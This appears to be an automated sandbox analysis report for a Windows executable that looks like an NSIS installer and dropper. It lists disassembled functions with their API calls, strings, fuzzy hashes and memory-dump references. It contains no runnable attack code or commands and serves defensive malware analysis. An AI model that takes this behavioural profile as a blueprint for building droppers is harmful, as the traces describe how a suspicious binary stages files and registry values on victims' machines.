Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 5757adc76ebd299de9e3f21c9246a654aa3bace2b5e710508428971d5ba8c1fc
Instruction ID: 2bc9f3e321a063d065e255e84c3e845f89f4622f689527909a28eedc1d3cb15f
Opcode Fuzzy Hash: 5757adc76ebd299de9e3f21c9246a654aa3bace2b5e710508428971d5ba8c1fc
Instruction Fuzzy Hash: 1D613631A00205ABDF209F64CD41ABE37A5AF44318F16813FE947B62D1D77C5AA1CB9D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,?,?,00000031), ref: 004017D5

Part of subcall function 00406282: lstrcpynW.KERNEL32(?,?,00000400,00403444,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 0040628F

Part of subcall function 004052E6: lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
Part of subcall function 004052E6: lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
Part of subcall function 004052E6: lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
Part of subcall function 004052E6: SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
Part of subcall function 004052E6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
Part of subcall function 004052E6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
Part of subcall function 004052E6: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

Strings

Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nsqA869.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 0040179E

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsqA869.tmp$C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$Call
API String ID: 1941528284-1425817745
Opcode ID: 5b350da25249687dd4719405322e9856b363981bc1dd38a50fc9a6532880dae0
Instruction ID: 71989b97474780e21d9e3883d12846d469cfbdfaa42366440e3466e884ca0043
Opcode Fuzzy Hash: 5b350da25249687dd4719405322e9856b363981bc1dd38a50fc9a6532880dae0
Instruction Fuzzy Hash: C1419431900518BECF11BBA5DC46DAF3679EF45328F20423FF412B50E1DA3C8A519A6D

Function 004030FA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403164
GetTickCount.KERNEL32 ref: 0040320B
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403234
wsprintfW.USER32 ref: 00403247

Strings

@, xrefs: 0040317E
... %d%%, xrefs: 00403241

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$@
API String ID: 551687249-3859443358
Opcode ID: bcadc4b8fcc5a9726af7f1001a2bc5a9f2fe7a461361550fb019878be66ece88
Instruction ID: f75c430432033e5046526aed0a4a2f939c591a2e87bafbbe4e5c1659d7ec9983
Opcode Fuzzy Hash: bcadc4b8fcc5a9726af7f1001a2bc5a9f2fe7a461361550fb019878be66ece88
Instruction Fuzzy Hash: 85515A71900219EBDB10CF69DA84B9E7FA8AF45366F14417BEC14B72C0C778DA50CBA9

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B0
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026EB
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 0040270E
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402724

Part of subcall function 00405E55: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405E6B

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D0

Strings

9, xrefs: 00402693

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 0f6749e0356039c80119e9da3c7509a60750b74a106ccf27ce207c31930fcb0b
Instruction ID: 4c47c5b6e7001fd487639b42c981b506dedcea616f9f6d447a3608767ea6fa5a
Opcode Fuzzy Hash: 0f6749e0356039c80119e9da3c7509a60750b74a106ccf27ce207c31930fcb0b
Instruction Fuzzy Hash: 8351E575D1021AABDF20DFA5DA88AAEB779FF04304F50443BE511B72D0D7B899828B58

Function 004065EC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406603
wsprintfW.USER32 ref: 0040663E
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406652

Strings

UXTHEME, xrefs: 004065F5
\, xrefs: 00406614
%s%S.dll, xrefs: 00406638

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 71749ee66451d02820e1787a81c679d49f65c12e6a5790e59d0bd58148e6f3af
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 64F021705001196BCF10AB64DD0DFAB3B5CA700304F10487AA546F11D1EBBDDA65CB98

Function 004057B5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057F8
GetLastError.KERNEL32 ref: 0040580C
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405821
GetLastError.KERNEL32 ref: 0040582B

Strings

C:\Users\user\Desktop, xrefs: 004057B5

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-224404859
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 81d47e77b106c5c69b6f53bab6ade4ced08fad65239eb4e1eedbceb886e7a33c
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: 8C01E5B2C00619DADF009FA1D9487EFBFB8EB14354F00803AD945B6281E7789618CFA9

Function 00405DA3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DC1
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\450707124374000811.exe",00403371,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF), ref: 00405DDC

Strings

"C:\Users\user\Desktop\450707124374000811.exe", xrefs: 00405DA3
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DA8, 00405DAC
nsa, xrefs: 00405DB0

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\450707124374000811.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1233918687
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 0c0ec814c80ab85915f41b1413265c2d813ce01cabb3ac5407dd3af97de42ecd
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 99F03076600304FFEB009F69DD09E9BB7A9EF95710F11803BE900E7250E6B199549B64

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,8BC3C95B), ref: 100022B8

Part of subcall function 10002640: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B2

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction ID: 65685ba44f5e0dd4e22f20931bb662b0f8110762eb821eef9687284fed8b6370
Opcode Fuzzy Hash: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction Fuzzy Hash: 4A31AC75804241AAFB14DF649CC9BDA37E8FF043D4F158065FA0AAA08FDFB4A984C761

Function 0040202C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402057

Part of subcall function 004052E6: lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
Part of subcall function 004052E6: lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
Part of subcall function 004052E6: lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
Part of subcall function 004052E6: SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
Part of subcall function 004052E6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
Part of subcall function 004052E6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
Part of subcall function 004052E6: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402068
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020E5

Strings

pv\, xrefs: 004020AA

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: pv\
API String ID: 334405425-2953343725
Opcode ID: 864119935e3c92a972c97e6683a8f1d17c59749ba81c3d86f0a55431c134cf0a
Instruction ID: 42f79ed1eba5b951ee52ea84f7896f3e8cd2b7b6c2435203e6ffc1da5cb37fd9
Opcode Fuzzy Hash: 864119935e3c92a972c97e6683a8f1d17c59749ba81c3d86f0a55431c134cf0a
Instruction Fuzzy Hash: EF21C271900208EACF20AFA5CE4DAAE7A70AF04358F64413BF611B51E0DBBD8941DA5E

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsqA869.tmp,00000023,00000011,00000002), ref: 00402429
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsqA869.tmp,00000000,00000011,00000002), ref: 00402469
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsqA869.tmp,00000000,00000011,00000002), ref: 00402551

Strings

C:\Users\user\AppData\Local\Temp\nsqA869.tmp, xrefs: 0040241A, 0040243F, 00402453, 0040245E

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsqA869.tmp
API String ID: 2655323295-3207034729
Opcode ID: b9a55d7f8e3e2dfd25d95f10a550debddd0b738e27ba6f811f629087d2df6e98
Instruction ID: 6bb9d856f7880fc58a9027dca602f60b1bf716c37025aa19f03bdcb786be9778
Opcode Fuzzy Hash: b9a55d7f8e3e2dfd25d95f10a550debddd0b738e27ba6f811f629087d2df6e98
Instruction Fuzzy Hash: 33118171E00108AEEB10AFA5DE49EAEBAB8EB54354F11843AF504F71D1DBB84D419B58

Function 00401B71 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(005C7670), ref: 00401BE1
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF3

Strings

Call, xrefs: 00401B98, 00401B9E, 00401BB8
pv\, xrefs: 00401B74, 00401BA4, 00401BB3, 00401BDC, 00401C07, 00401C0E

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call$pv\
API String ID: 3394109436-2887556045
Opcode ID: 84467de0dce396edb77585f845136cbcf2c5fb7762c5f8c3cd98e46705f302be
Instruction ID: 92ace51ac37ea5806125e07fe733601b5cdc010b72bea360b2f02f73c4ad7c89
Opcode Fuzzy Hash: 84467de0dce396edb77585f845136cbcf2c5fb7762c5f8c3cd98e46705f302be
Instruction Fuzzy Hash: 4921C072A01100DFDB20EB94CE8495A76A9AF44318725013BF902F72D1DA78A9519B5D

Function 00402D2A Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402D8F
RegCloseKey.ADVAPI32(?), ref: 00402D98
RegCloseKey.ADVAPI32(?), ref: 00402DB9

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction ID: 79d7ed05643b621c8e133add132d673d265f3a1e436d48668917152172a1be90
Opcode Fuzzy Hash: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction Fuzzy Hash: AD116A32540509FBDF129F90CE09BEE7B69EF58340F110036B905B50E0E7B5DE21AB68

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405BFE: CharNextW.USER32(?,?,0042FA50,?,00405C72,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C0C
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C11
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C29

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004057B5: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057F8

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\pechay\transskribere\jon
API String ID: 1892508949-410581097
Opcode ID: 64933fb819e76c9c5a4bf4a349c51baae94111e9253f76940e8e3ccf7a91a371
Instruction ID: f4fc84295b44ed4b17ac4e1ae603b231d2bd930c419d474b78473434f223dd35
Opcode Fuzzy Hash: 64933fb819e76c9c5a4bf4a349c51baae94111e9253f76940e8e3ccf7a91a371
Instruction Fuzzy Hash: 7711BE31504104ABCF316FA4CD01AAF36A0EF14368B28493BEA45B22F1DB3E4E519A4E

Function 0040525A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405289
CallWindowProcW.USER32(?,?,?,?), ref: 004052DA

Part of subcall function 00404263: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404275

Strings

, xrefs: 0040526A

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
